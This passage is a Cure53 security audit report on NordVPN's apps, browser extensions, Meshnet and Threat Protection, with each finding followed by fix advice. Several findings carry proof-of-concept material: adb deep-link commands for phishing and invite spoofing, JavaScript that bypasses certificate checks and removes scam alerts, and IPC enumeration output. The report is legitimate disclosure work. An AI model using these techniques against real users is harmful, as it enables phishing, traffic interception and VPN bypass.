**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

# Pentest-Report NordVPN Apps, Browser Addons & Features 06.2024

Cure53, Dr.-Ing. M. Heiderich, M. Piechota, L. Herrera, N. Hippert, P. Papurt, M. Pedhapati, A. Belkahla, MSc. J. Moritz, MSc. A. Schloegl, MSc. H. Moesl-Canaval, S. Possegger

## Index

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Introduction

*"We strive to make the internet better than it is today. It can be free from online threats, censorship, and surveillance, as envisioned in 1989 — the year the World Wide Web was invented."*

From https://nordvpn.com/about-us/

This report describes the results of a penetration test and source code audit against several applications, components, and features of the NordVPN software stack. Further details of the scope are given below.

To give some context regarding the assignment's origination and composition, UAB 360 IT contacted Cure53 in April 2024. The test execution was scheduled for June 2024, namely from CW23 to CW26. A total of fifty-five days were invested to reach the coverage expected for this project, and a team of eleven senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a white-box strategy, whereby assistive materials such as sources, URLs, test-user credentials, documentation, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into six separate work packages (WPs), defined as:

- **WP1**: White-box tests against NordVPN browser addons & apps for iOS & Android
- **WP2**: White-box tests against NordVPN desktop apps for Windows, Linux, macOS
- **WP3**: White-box pen.-test & deep dive against NordVPN Meshnet feature
- **WP4**: White-box pen.-test & deep dive against NordVPN Threat Protection feature
- **WP5**: White-box pen.-test & deep dive against NordVPN Threat Protection Lite ftre.
- **WP6**: White-box pen.-test & deep dive against NordVPN VPN features & functionality

Note that this was not the first time Cure53 was tasked with assessing the security of the NordVPN software stack. Several of the features and applications tested during this engagement were also the focus of previous audits. This includes audits held in November and December 2023 (see NOR-09 and NOR-10).

All preparations were completed in late May / early June 2024, specifically during CW22, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Slack channel, established to combine the teams of NordVPN and Cure53. All personnel involved from both parties were invited to participate in this channel. Communications were smooth, with few questions requiring clarification, and the scope was well-defined and clear.

No significant roadblocks were encountered during the test. Cure53 provided frequent status updates, shared their findings, and offered live reporting through the aforementioned Slack channel.

The Cure53 team achieved good coverage over the scope items, and identified a total of thirty-one findings. Of the thirty-one security-related discoveries, twenty-two were classified as security vulnerabilities, and nine were categorized as general weaknesses with lower exploitation potential.

This security assessment revealed a high number of issues. However, given the broad scope included in Cure53's examination, and the large attack surface it encompassed, a higher than average number of issues was to be expected. Although the lack of any *Critical* severity vulnerabilities can be seen as a positive indication, the Cure53 team was still able to identify several vulnerabilities that ranked as *High*. It is strongly recommended to prioritize the resolution of these *High* severity findings based on their potential impact.

The inherent size and complexity of the scope tested here limited the possibility of achieving exhaustive coverage during a single assessment. To address this limitation and ensure continuous improvement, Cure53 recommends implementing a program of regular security assessments. All in all, the results of this assessment underscore the importance of ongoing security testing for the NordVPN software stack. Regular security assessments are essential for safeguarding the integrity of services and features in the face of evolving vulnerabilities and emerging threats.

The report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, plus any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the several applications, components, and features of the NordVPN software stack tested during this engagement.

## Scope

- **Pen.-tests against NordVPN Desktop & Mobile Apps, Browser Addon & Features**
  - **WP1:** White-box tests against NordVPN browser addons & apps for iOS & Android
    - **Builds:**
      - Android:
        - NordVPN Android Sideload 7.0.0.apk
      - IoS:
        - https://nordvpn.com/download/ios/
      - Browser Extension:
        - NordVPN-Extensions-Release_4.1.0.zip
        - Both firefox and chrome
    - **Sources:**
      - */NordVPN-Apps/Code/NordVPN Android app*
      - */NordVPN-Apps/Code/NordVPN iOS app*
      - */NordVPN-Apps/Code/NordVPN Browser Extension*
  - **WP2**: White-box tests against NordVPN desktop apps for Windows, Linux, macOS
    - **Builds:**
      - Linux:
        - *NordVPN-Apps/nordvpn_3.18.1_amd64.deb*
      - Windows:
        - https://nordvpn.com/download/windows/
      - MacOS:
        - *NordVPN-Apps/NordVPN_7.0.0.pkg*
    - **Sources:**
      - */NordVPN-Apps/Code/NordVPN Linux app*
      - */NordVPN-Apps/Code/NordVPN MacOS app*
      - */NordVPN-Apps/Code/NordVPN Windows app*
    - **Additional notes:**
      - **VPN:**
        - Main protocols:
          - NordLynx
          - OpenVPN (TCP, UDP and Obfuscated (XOR))
          - KEv2/IPSec
  - **WP3**: White-box pen.-test & deep dive against NordVPN Meshnet feature
    - **Sources:**
      - https://github.com/NordSecurity/libtelio
        - Commit:
          - 624ffeaf4ab93c543faa14baf35cef41f9b513bf
      - https://github.com/NordSecurity/libdrop
        - Commit:
          - B1e9f403ba502e85e38a26bd7cea8841de5ebfa1

- **WP4**: White-box pen.-test & deep dive against NordVPN Threat Protection feature
  - **Sources:**
    - */NordVPN-Apps/Code/NordVPN-Threat-Protection*
- **WP5**: White-box pen.-test & deep dive against NordVPN Threat Protection Light feature
  - **Sources:**
    - */NordVPN-Apps/Code/NordVPN-Threat-Protection*
- **WP6**: White-box pen.-test & deep dive against NordVPN VPN features & functionality
  - **Features:**
    - Kill Switch
    - Split tunneling
    - Invisibility on LAN
    - DNS filtering
    - Custom DNS feature
    - Allow remote access while connected to VPN
    - Auto-Connect
    - Dark Web Monitor
    - NordVPN Diagnostics tools
- **Test User Credentials**
  - U: mohan@cure53.de
  - U: herrera@volt.cure53.de
  - U: kahla@volt.cure53.de
  - U: rootsys@cure53.de
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

## Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order, rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., NOR-15-001) to facilitate any future follow-up correspondence.

### NOR-15-001 WP4: Web protection path leak via same-origin window *(High)*

***Fix-Note:** This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the audit of NordVPN's Threat Protection feature, it was discovered that the NOR-10-002 fix from a previous audit can be bypassed by opening a new window and leaking the path, rather than using an iframe.

This vulnerability allows users to circumvent the Malware blocking, Ad blocking, and SSL protection mechanisms implemented by Threat Protection. In the case of Ad and Malware blocking, an adversary can navigate the user to a non-blocked webpage, then open a same-origin page that is blocked due to Malware or Ads in a new window, and leak the path to unblock it. This is possible because the browser's same-origin policy permits such actions.

Additionally, this technique can be used to bypass improper SSL certificate blocking. An adversary can first open a self-signed SSL certificate web page, which gets blocked by Threat Protection, and then reference this page using a valid same-origin correct SSL certificate. By leaking the path, they can perform a fetch to unblock it. However, for this method to be effective, the adversary would need some form of JavaScript injection in the domain where the SSL is being tampered with.

**Steps to reproduce:**

1. Navigate to *https://s3.amazonaws.com/s1r1uss/secure.js* and notice that it is blocked by Threat Protection.
2. Navigate to *https://s3.amazonaws.com/s1r1uss/nor-leak-path.html*, which unblocks the URL from Step 1 by opening it in a new window and leaking the unblock path.
3. Notice that the URL from Step 1 can be navigated without triggering Threat Protection's warning.

As suggested in a previous audit ticket, Cure53 recommends redirecting users to a NordVPN-controlled hostname. The interstitial page should not be served directly from the website's origin, as this can be referenced via windows, utilizing the browser's Same-Origin Policy (SOP). Instead, redirecting to a NordVPN-controlled hostname leverages the SOP policy to effectively address and fix the issue.

## NOR-15-002 WP2/4: Unpatched vulnerabilities from previous test *(Medium)*

This ticket serves to reiterate vulnerabilities identified during previous testing engagements that remain unmitigated. This test iteration confirmed that the following flaws remain outstanding, and require remediation at the earliest opportunity. It should be noted that upon discussion of NOR-10-001, the customer confirmed that a fix has been created for this issue, however the fix has not been deployed yet.

**NOR-10-001 WP1: Configuration file tampering (Medium)**

While analyzing the NordVPN Windows application, it has proven possible to tamper with the user's configuration file to disable the automatic launch of some security features. This occurs due to the fact that the configuration file resides in a folder that is user-writable.

**NOR-10-005 WP1: Legacy cipher support for web protection proxy (Medium)**

It was discovered that the NordVPN web protection proxy accepts some TLS ciphers that are considered weak or insecure. This takes place before a secure cipher is used for proxying to the web browser.

To clarify, the observed ciphers are no longer allowed by modern browsers. However, this could let a malicious attacker break the security of the TLS connection.

**Test URLs:**

- CBC: *https://cbc.badssl.com/*
- DH1024: *https://dh1024.badssl.com/*
- DH2048: *https://dh2048.badssl.com/*

Cure53 recommends removing support for these weak ciphers for outbound connections from the proxy. As a less ideal option, a warning could be issued to the user when these ciphers are selected by a server.

## NOR-15-005 WP1: Android detected leaks deep link allowed phishing *(Low)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was discovered that the Android application exported activity that allowed phishing attacks. The *open-detected-leaks* deep link is supposed to display email addresses found in the data breaches, however, by incorporating additional characters such as *%0a* (newline), it was possible to manipulate the application layout, pushing legitimate elements off the display and leaving only a phishing message visible to the user.

**Steps to reproduce:**

1. Execute below *adb* command to send the intent to the vulnerable activity:

   **Adb command:**
   ```
   adb shell am start -n
   com.nordvpn.android/com.nordvpn.android.mobile.main.ControlActivity -
   d 'nordvpn://open-detected-leaks?email=%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a
   %0a%0a%0a%0a%0aWARNING%20DISCONNECT!!!111oneone%0aYour%20VPN
   %20connection%20leaks%20data!%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a
   %0a%0a%0a%0a%0a'
   ```

2. The application should launch with a message prompting the user to disconnect from the VPN.

The vulnerability was deemed low impact as the message did not render HTML, leaving little space for manipulation.

Nevertheless, it is recommended to validate variables displayed in the application to ensure they align with their intended purpose. In this case, verify and sanitize the email field to prevent manipulative inputs that could alter the application's layout or influence users' behavior.

## NOR-15-006 WP1: Direct access to top-level domain bypasses VPN *(High)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was discovered that it is possible to retrieve websites outside the VPN by accessing a web page hosted on a Top-Level Domain (TLD). As these URLs do not require dot characters, they are mistakenly treated as private by the NordVPN extension, which facilitates a direct connection to an external host, thus bypassing the proxy.

It must be mentioned that ICANN decided in 2013 that TLDs are no longer allowed to have A / AAAA entries. Nevertheless, some TLDs ignore this rule[1]. The *.ai* TLD serves as an example, given it can be loaded to verify the bypass. Additionally, access to this host is possible, even though the user has the killswitch option enabled.

[1] https://www.icann.org/news/announcement-2013-08-30-en

**Affected file:**
*/NordVPN-Apps/dist/chrome/Release-4.1.0/background.bundle.js*

**Affected code:**
```
const _isPrivateMatch =
  _isPrivateMatchIP6 ||
  isPlainHostName(host) || // any hosts without dot (e.g. localhost)
  _isPrivateMatchRfc3330 ||
  _isPrivateMatchReserved;

if (_isPrivateMatch) {
  print("bypassing - private match");
  return "DIRECT";
}
```

**Steps to reproduce:**
1. Install the NordVPN extension and log into a valid account.
2. Make sure you are disconnected from any VPN server in the extension.
3. Go to Settings, followed up by Connection, and then turn on the Killswitch option.
4. Navigate to *http://ai/* from your browser.

To mitigate this issue, Cure53 recommends creating a blocklist containing all dotless TLDs currently registered, and preventing access to them.

## NOR-15-007 WP4: Threat Protection doesn't respect Websocket TLS *(High)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

Testing confirmed that Threat Protection bypasses browser TLS checks for WebSockets, allowing connections to servers with tampered certificates. This occurs because the Threat Protection proxy generates a certificate using the WebSocket hostname, regardless of the server's - or a potential Man-in-the-Middle (MitM) attacker's - presented certificate. This vulnerability allows an attacker to perform a MitM attack on WebSocket connections. This could enable the attacker to steal sensitive data or inject malicious content into the communication.

**Steps to reproduce:**
1. Navigate to *https://test.s1r1us.ninja:8443/*, and notice that it is being blocked by Threat Protection with the following error.

   *This server could not prove that it is test.s1r1us.ninja; its security certificate is from ctf.s1r1us.ninja. This may be caused by a misconfiguration or an attacker intercepting your connection.*
2. Now navigate to any site and open the browser's DevTools Console. Paste the following code:

***ws.js***
```
const socket = new WebSocket("wss://test.s1r1us.ninja:8443");

// Connection opened
socket.addEventListener("open", (event) => {
  socket.send("Hello Server!");
});

// Listen for messages
socket.addEventListener("message", (event) => {
  console.log("Message from server ", event.data);
});
```

3. Observe that the connection succeeds, despite the invalid server certificate due to Threat Protection modifying the certificate.
4. Perform Step 1 with NordVPN stopped and notice an error being thrown by the browser.

Similar to HTTP connections, secure WebSocket connections rely on valid server certificates to ensure communication integrity. To mitigate this issue, Threat Protection should validate the certificate used in WebSocket connections. If the server's certificate is invalid, a block page should be displayed, preventing insecure connections.

## NOR-15-008 WP4: Hard-Coded Content Server RSA Keys and insecure seed *(Low)*

***Fix-Note:*** *This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was discovered that the web protection path, as specified in NOR-15-001, is generated using a hardcoded RSA public and private key pair along with an insecure seed based on the Unix Nano timestamp. This method theoretically allows for the prediction of the web protection path, which could be exploited to block or unblock the Threat Protection mechanism. However, practical exploitation within the victim's browser within a five-minute window of expiry is deemed infeasible due to the vast number of possibilities produced by *UnixNano()*, therefore the reduced impact.

**Affected file:**
*/lib-mangler-MITM-proxy-v2.10.0/pkg/contentserver/urlpath/urlpath.go*

**Affected code:**
```
var (
	globalRSAkey = loadGlobalRSAKey()
	// math rand reader (not crypto secure but fast and we don't need
crypto secure)
	globalSeededRand = mrand.New(mrand.NewSource(time.Now().UnixNano()))
	[...]
)
```

```
func getSignedURLPath(key *rsa.PrivateKey, category JCategory, host string)
(string, error) {
	hash := calculateHash(pssOpts.Hash.New(), category, host)

	// Generate randomized signature
	sign, err := rsa.SignPSS(globalSeededRand, key, pssOpts.Hash, hash,
pssOpts)
```

Cure53 still recommends fixing the issue by using a cryptographically secure random number generator to ensure robust protection as a defense in depth.

## NOR-15-009 WP1: Android application vulnerable to task hijacking *(Medium)*

***Client note**: There is a significant amount of users that use NordVPN Android application on older Android operating systems. The solution to mitigate this risk is currently too impactful for our end-user's user experience.*

Testing confirmed that the Android app does not offer sufficient protection against task hijacking attacks.

The *launchMode* for the *WelcomeActivity* activity is currently set to *singleTask* for Android API level 29 and lower, which mitigates task hijacking via StrandHogg 2.0[2] while rendering the app vulnerable to older techniques such as StrandHogg[3] and other techniques documented since 2015[4]. The described vulnerability was patched by Google in March 2019 for Android versions 28 and newer. Since the Android app supports devices from Android 7 (API level 24), this renders all users running Android 7-8.1 vulnerable, as well as affecting users running unpatched Android devices. The latter is still common in the modern era.

A malicious app could leverage this weakness to manipulate the way that users interact with the app. Specifically, this could be instigated by relocating a malicious attacker-controlled activity within the screen flow of the user, which may be useful toward performing phishing or Denial-of-Service (DoS) attacks, as well as theft of user credentials.

**Affected file:**
*AndroidManifest.xml*

**Affected code:**
```
<activity android:theme="@style/AppTheme.WelcomeSplashScreen"
android:name="com.nordvpn.android.mobile.welcome.WelcomeActivity"
android:exported="true" android:launchMode="singleTask"
android:screenOrientation="behind"> [...]
```

[2] https://www.helpnetsecurity.com/2020/05/28/cve-2020-0096/
[3] https://www.helpnetsecurity.com/2019/12/03/strandhogg-vulnerability/
[4] https://s2.ist.psu.edu/paper/usenix15-final-ren.pdf

To mitigate this issue, Cure53 advises implementing appropriate countermeasures. One solution would be to set the task affinity of the exported activity to an empty string, via *android:taskAffinity=""*. This forces Android to create a random *name*, which any future attacker would have difficulty predicting. Additionally, the *launchMode* can be set to *singleInstance*, which enforces the creation of a new task for each activity.

## NOR-15-010 WP4: Scam Detection bypass in Threat Protection *(Low)*

***Client note:*** *A business decision was made to use notification screen instead of a full warning page.*

It was discovered that the Scam Detection uses the shadow DOM API to create a shadow element and notify users about scams on the current website, by appending it to the current page. Since the shadow DOM is open, the host site can perform actions on it, such as closing the scam alert. Furthermore, even if the shadow DOM is closed, it is still possible to remove the scam alert simply by removing the shadow DOM.

**Steps to reproduce:**

1. Navigate to any of these sites *https://omitages.com/*, *https://hardaddy.com/*, *https://vivianhan.com/*.
2. Once the page is loaded, notice an alert from NordVPN Threat Protection. Paste the below code in the DevTools Console to remove the alert.

```
document.querySelector('.scam-alert-close-button').click()
```

The DOM elements can be removed by the host page; usage of shadow DOM or iframes for scam alerts can be removed by removing the DOM. It is recommended to fix this issue by using a mechanism similar to AdBlock and Malware Block, which completely overwrites the page.

## NOR-15-011 WP2: *io.ReadAll()* function usage facilitates DoS *(Low)*

While inspecting the NordVPN Linux client, as well as NordVPN Threat Protection source code repositories, Cure53 verified that multiple functions use *io.ReadAll()* to read data from an HTTP request. If input is provided, the *ReadAll()* function reads from the input and allocates new memory. The input will be user-controllable in the case of HTTP, which can lead to an out-of-memory situation and ultimately evoke a DoS vector.

**Affected files:**

- NordVPN Linux app:
  - *nordvpn-linux-3.18.1/core/authentication.go*
  - *nordvpn-linux-3.18.1/core/cdn.go*
  - *nordvpn-linux-3.18.1/core/errors.go*
  - *nordvpn-linux-3.18.1/core/mesh.go*
  - *nordvpn-linux-3.18.1/pulp/pulp.go*

  - ○ *nordvpn-linux-3.18.1/daemon/api_repo.go*
  - ○ *nordvpn-linux-3.18.1/daemon/dns/hosts.go*
  - ○ *nordvpn-linux-3.18.1/events/logger/logger.go*
  - ○ *nordvpn-linux-3.18.1/core/core.go*
- NordVPN Windows app/win-7.24.1.0/
  - ○ *src/NordVpn.Infrastructure/Settings/SettingsKeyValueAccessor.cs*
  - ○ *src/NordVpn.Infrastructure/Files/FileIO.cs*
  - ○ *src/NordVpn.Service/Settings/Storage/Meshnet/MeshnetMachineUuidStorage.cs*
  - ○ *src/NordVpn.Core/Interfaces/Files/IFileIO.cs*
  - ○ *src/NordVpn/Launch/DeepLink/Handlers/QaDeeplinkActionHandler.cs*
  - ○ *src/NordVpn/Modules/Exclusion/ExcludedFilesProvider.cs*
  - ○ *src/NordVpn.Application/UIServices/Map/ClusterConfigurationRemoteRepository.cs*
- NordVPN-Threat-Protection/
  - ○ *lib-mangler-MITM-proxy-v2.10.0/pkg/coreclient/core_client.go*
  - ○ *lib-mangler-MITM-proxy-v2.10.0/pkg/htmlutils/htmlutils.go*
  - ○ *lib-mangler-MITM-proxy-v2.10.0/pkg/htmlutils/html_doc_golden_test.go*
  - ○ *lib-mangler-MITM-proxy-v2.10.0/utils/utils.go*
  - ○ *nsamw-File-Scanning-0.10.0/internal/api/api.go*

The following snippet is one example of *io.ReadAll()* usage for processing HTTP response bodies within *nordvpn-linux-3.18.1/core/mesh.go∂*.

**Affected code:**
```
func (api *DefaultAPI) Register(token string, peer mesh.Machine)
(*mesh.Machine, error) {
	[...]
	resp, err := api.request(
		urlMeshRegister,
		http.MethodPost,
		data,
		token,
	)

	if err != nil {
		return nil, err
	}

	defer resp.Body.Close()

	if err := ExtractError(resp); err != nil {
		return nil, err
	}

	var raw mesh.MachineCreateResponse
```

```
        body, err := io.ReadAll(resp.Body)
        if err != nil {
                return nil, err
        }
        [...]
}
```

To mitigate this issue, Cure53 advises either enforcing an upper limit on the request's size, or modifying the method by which it is read and processed, specifically adopting a chunk-wise approach to processing. One effective input limiting strategy would be to use a *LimitReader*[5] such as *io.ReadAll(io.LimitReader(resp.Body, 1024*1024))* in order to read a maximum of one megabyte.

## NOR-15-012 WP1: Android Meshnet invites notification spoofing *(Low)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was found that Android mobile applications were susceptible to invite notification spoofing. This vulnerability allows potential attackers to send forged notifications that appear to be legitimate, which could result in misleading users into accepting invitations from unintended parties. The severity of the issue is somewhat mitigated because the initial invitation from the attacker must be authentic.

**Steps to reproduce:**

1. Send an invitation to the victim using the API, to be able to obtain invitation token (replace *[bearer]* with API token):

   **Invitation request:**
   ```
   POST
   /v1/meshnet/machines/5245089b-9cb8-47c6-b060-e7148475ef2e/invitations
   HTTP/2
   Host: api.nordvpn.com
   Content-Type: application/json
   Authorization: Basic [bearer]
   Content-Length: 243

   {
     "email": "victim@gmail.com",
     "allow_incoming_connections": true,
     "allow_peer_traffic_routing": false,
     "allow_peer_local_network_access": false,
     "allow_peer_send_files": true,
   "accept_fileshare_automatically":true
   }
   ```

[5] https://pkg.go.dev/io#LimitReader

2. From the previous HTTP response, paste a token into the below command and execute it to open the invitation notification.

3. **Adb command:**

```
adb shell am start -n
com.nordvpn.android/com.nordvpn.android.mobile.main.ControlActivity -
d 'nordvpn://open-received-meshnet-invite?email=spoofed@gmail.com%0a
%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a\&token=e280611b-c82a-4da7-8a96-
5d4d15fbafe4\&gaLabel=null'
```

After executing the above steps, the victim will be presented with a notification to accept the invitation from user: *spoofed@gmail.com*, however, the real invitation was done from the attacker's account. It is worth mentioning that in the real-case scenario, an attack could be conducted using a malicious Android application, as the *ControlActivity* activity was exported.

It is advised to verify if an email address is bound to the token used to display a notification, in order to mitigate this vulnerability.

## NOR-15-013 WP2: gRPC in Linux desktop app allows remote control *(Medium)*

***Client note:*** *A disclaimer has been added during login to inform users about the potential risks of adding themselves to the nordvpn group.*

During the audit of the NordVPN Linux application, it was discovered that the gRPC interface used to control the backend lacks both authentication and encryption mechanisms. This vulnerability allows any unauthenticated user in the NordVPN Linux group, or any malicious application with the privileges of a low-privileged user in this group, to access and modify NordVPN settings, connections, and more, via this interface. Consequently, this unrestricted control over the victim's VPN could be exploited in various attacks, undermining the core security objectives of NordVPN.

As a consequence, users within this group can send gRPC requests to the */run/nordvpn/nordvpnd.sock* socket, enabling them to execute several potentially malicious actions. For instance, they can:

- Disable notifications for the victim, preventing them from being alerted to any suspicious activity.
- Invite themselves to the meshnet and accept the invitation on their own machine, thereby gaining unauthorized access.
- Change their nickname to something that appears to be a legitimate NordVPN server (e.g., Austria), misleading the victim.
- Connect to the attacker's machine as the VPN endpoint, thereby intercepting and gaining access to all the victim's network traffic.

Other post-exploitation scenarios are also possible, e.g., sending malware to the victim using the auto-accept feature, or routing traffic via the victim and browsing illegal content. Please note that similar issues regarding permissions on the Unix socket have been identified in the past.[6]

**Affected file:**
*nordvpn-linux/cmd/cli/main.go*

**Affected Code:**
```
func main() {
       [...]
       conn, err := grpc.Dial(
              DaemonURL,
              // Insecure credentials are OK because the connection is
completely local and
              // protected by file permissions
              grpc.WithTransportCredentials(insecure.NewCredentials()),
              grpc.WithUnaryInterceptor(loaderInterceptor.UnaryInterceptor),

       grpc.WithStreamInterceptor(loaderInterceptor.StreamInterceptor),
       )
       fileshareConn, err := grpc.Dial(
              fileshare_process.FileshareURL,
              grpc.WithTransportCredentials(insecure.NewCredentials()),
              grpc.WithUnaryInterceptor(loaderInterceptor.UnaryInterceptor),

       grpc.WithStreamInterceptor(loaderInterceptor.StreamInterceptor),
       )

       cmd, err := cli.NewApp(
       [...]
```

Cure53 strongly advises implementing authentication to secure the gRPC interface. This measure is important to ensure that only authenticated and authorized users can access and interact with the interface, thereby mitigating the risk of unauthorized access and potential exploitation.

[6] NV-02-006 WP1/Linux: Overly broad permission set on socket directoy (Low)

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## NOR-15-014 WP2: Overly permissive named pipes access rights *(Medium)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the assessment of the IPC communication in the NordVPN application for Windows, it was discovered that the named pipes in use have excessively permissive access rights, allowing authenticated users on the Windows host to access these named pipes. Consequently, a local attacker could exploit this vulnerability to send unauthenticated requests to privileged processes, leading to unintended interactions with critical services. It is reasonable to assume that this could facilitate attacks similar to those previously described in NOR-15-013.

**Affected files:**
*Nord.Communication.Ipc.Core/Internal/SecureNamedPipeServer.cs*

**Affected Code:**
```
private static NamedPipeServerOptions CreateDefaultPipeOptions()
{
	[...]
	NamedPipeServerOptions npo = new NamedPipeServerOptions
	{ PipeSecurity = new PipeSecurity() };

	//needed as this works in multi-language windows
	SecurityIdentifier networkService = new
	SecurityIdentifier(WellKnownSidType.NetworkServiceSid, null);

	// Deny access for all network users.
	npo.PipeSecurity.AddAccessRule(new PipeAccessRule(networkService,
	PipeAccessRights.FullControl, AccessControlType.Deny));

	// Get the identifier for all authenticated users.
	SecurityIdentifier id = new
	SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null);
	SecurityIdentifier guestId = new
	SecurityIdentifier(WellKnownSidType.BuiltinGuestsSid, null);

	// Add read/write access for all local users.
	npo.PipeSecurity.AddAccessRule(new PipeAccessRule(id,
	PipeAccessRights.ReadWrite | PipeAccessRights.CreateNewInstance,
	AccessControlType.Allow));
	npo.PipeSecurity.AddAccessRule(new PipeAccessRule(guestId,
	PipeAccessRights.ReadWrite | PipeAccessRights.CreateNewInstance,
	AccessControlType.Allow));
	[...]
}
```

Sysinterals' PipeList[7] utility can be used to enumerate all open named pipes, whose permissions can then be checked using the AccessChk[8] utility. All found named pipes were accessible to all authenticated users.

**PoC:**
```
.\pipelist.exe

PipeList v1.02 - Lists open named pipes
Copyright (C) 2005-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Pipe Name
---------
InitShutdown
lsass
[...]
NordSec\NordUpdate\efce31caf5bb4b4c89f4b773519fa7ec
NordSec\NordUpdate\NordSecurityCenterUpdate\
2cc7c8fc825544e98f9eab9e58274a51
NordSec\NordVpn\NordVpnService_69c727c1-83f4-448d-8eab-701efdf67bb6
NordSec\NordVpn\NordVpnAppStart_f19b48e9-2bb5-4638-97a9-
2ce8ba7a3a79_IApplicationGrpc
NordSec\NordVpn\NordVpnAppfa1bcc47-9ee8-4b26-a316-d8de2a5e81b1
NordSec\ThreatProtection\ServerIpc_bd81cf78-669b-497e-bd52-58450743d3ad

.\accesschk.exe "\\.\pipe\NordSec\NordVpn\NordVpnService_69c727c1-83f4-
448d-8eab-701efdf67bb6"

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\pipe\NordSec\NordVpn\NordVpnService_69c727c1-83f4-448d-8eab-
701efdf67bb6
 RW NT AUTHORITY\Authenticated Users
 RW BUILTIN\Administrators
 RW BUILTIN\Guests
```

Cure53 strongly recommends imposing stringent access restrictions on the named pipes used by NordVPN. Tightening these permissions is important, to minimize the risk of unauthorized access, and ensure that only trusted processes can interact with the named pipes.

[7] https://learn.microsoft.com/en-us/sysinternals/downloads/pipelist
[8] https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

## NOR-15-015 WP2: Insecure gRPC configuration on Windows *(Medium)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the assessment of the IPC process between the Windows NordVPN application and its corresponding services, it was discovered that the communication occurs without encryption or authentication. This vulnerability poses several risks, including susceptibility to traffic sniffing, spoofing, replay attacks, and a general lack of integrity protection. Such vulnerabilities allow attackers to read sensitive data or send malicious requests, resulting in a total loss of integrity and confidentiality.

Please note that unprotected gRPC communication has also been observed for other platforms, as already mentioned in NOR-15-013.

The communication between the NordVPN application and the NordVPN service can be read by any user on the system. As shown below, this can result in the leakage of sensitive information, such as VPN connection information.

**PoC:**

```
RoutingIpcService.RoutingIpcService/
ExecuteRequestNordSecurity.NordVpn.Connection.Contracts.Interfaces.IVpnConn
ectionManagerGrpcV2: GetCurrentConnection{"Arguments": {"Connection":
{"ServerName": "Austria #134", "ServerId": 982891, "UserName":
"<redacted>", "Password": "<redacted>", "VpnProtocol": 4,
"ServerCategories": ["Standard", "P2P"], "ServerCountry": "Austria",
"ServerCountryId": 14, "ServerCountryCode": "AT", "ServerCityName":
"Vienna", "ServerCityId": 448799, "ExitNode": false,
"ForceLocalAccessThroughExitNode": false, "DnsHosts": [], "ServerIp":
"37.19.195.145", "DomainName": "at134.nordvpn.com", "ServerDomain":
"at134.nordvpn.com", "ConnectionId": "<redacted>", "ConnectionFlowId":
"<redacted>", "VpnCredentials": [{"Protocol": 3, "Metadata": []},
{"Protocol": 5, "Metadata": []}, {"Protocol": 35, "Metadata": [{"Item1":
"public_key", "Item2": "<redacted>"}, {"Item1": "private_key", "Item2":
"<redacted>"}]}], [...]
```

Cure53 strongly advises implementing authentication and encryption, in order to secure the gRPC interface.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## NOR-15-016 WP2: Lack of user separation on Linux client (*Medium*)

*Note: this issue and its remediation are contained in issue NOR-15-013. This issue is to be viewed as fixed as soon as -013 is remediated.*

During the audit of the NordVPN client for Linux, it was observed that new sockets are not created for new users, which can be problematic in shared desktop environments, potentially leading to conflicts when multiple users are using the same machine. The only available workaround is for one user to install NordVPN system-wide, while another user installs it via Snap, for instance.

The lack of such a separation across users on a socket level for each user can result in conflicts and potential security risks, as multiple users may inadvertently interfere with each other's VPN connections.

**Affected file:**
*nordvpn-linux/internal/constants.go*

**Affected code:**
```
// RunDir defines default socket directory
RunDir = PrefixCommonPath("/run/nordvpn")
[...]
// DaemonSocket defines system daemon socket file location
DaemonSocket = filepath.Join(RunDir, "/nordvpnd.sock")
```

Cure53 recommends revisiting the architectural design of the Linux desktop application, to ensure a clearer separation between privileged and user spaces. Given the need to create and manage network interfaces, at least part of the VPN daemon must run with elevated privileges (i.e., as the root user on Linux). However, managing user settings can and should be handled within a low-privileged user context. This approach minimizes the risk of privilege escalation, while simultaneously enforcing the separation of VPN configurations for different users through Linux file permissions.

As a long-term goal - to fully secure the application - some form of authentication must also occur between the user-space and the elevated part of the daemon. Some possible solutions include:

- Requiring a second factor of authentication when changing settings, e.g. in the form of a PIN, password, TOTP, or passkey[9].
- The utilization of Trusted Execution Environment[10] technology for the frontend, and utilize its attestation capabilities for authentication to the backend. (Might incur performance penalties).

[9] https://fidoalliance.org/passkeys/
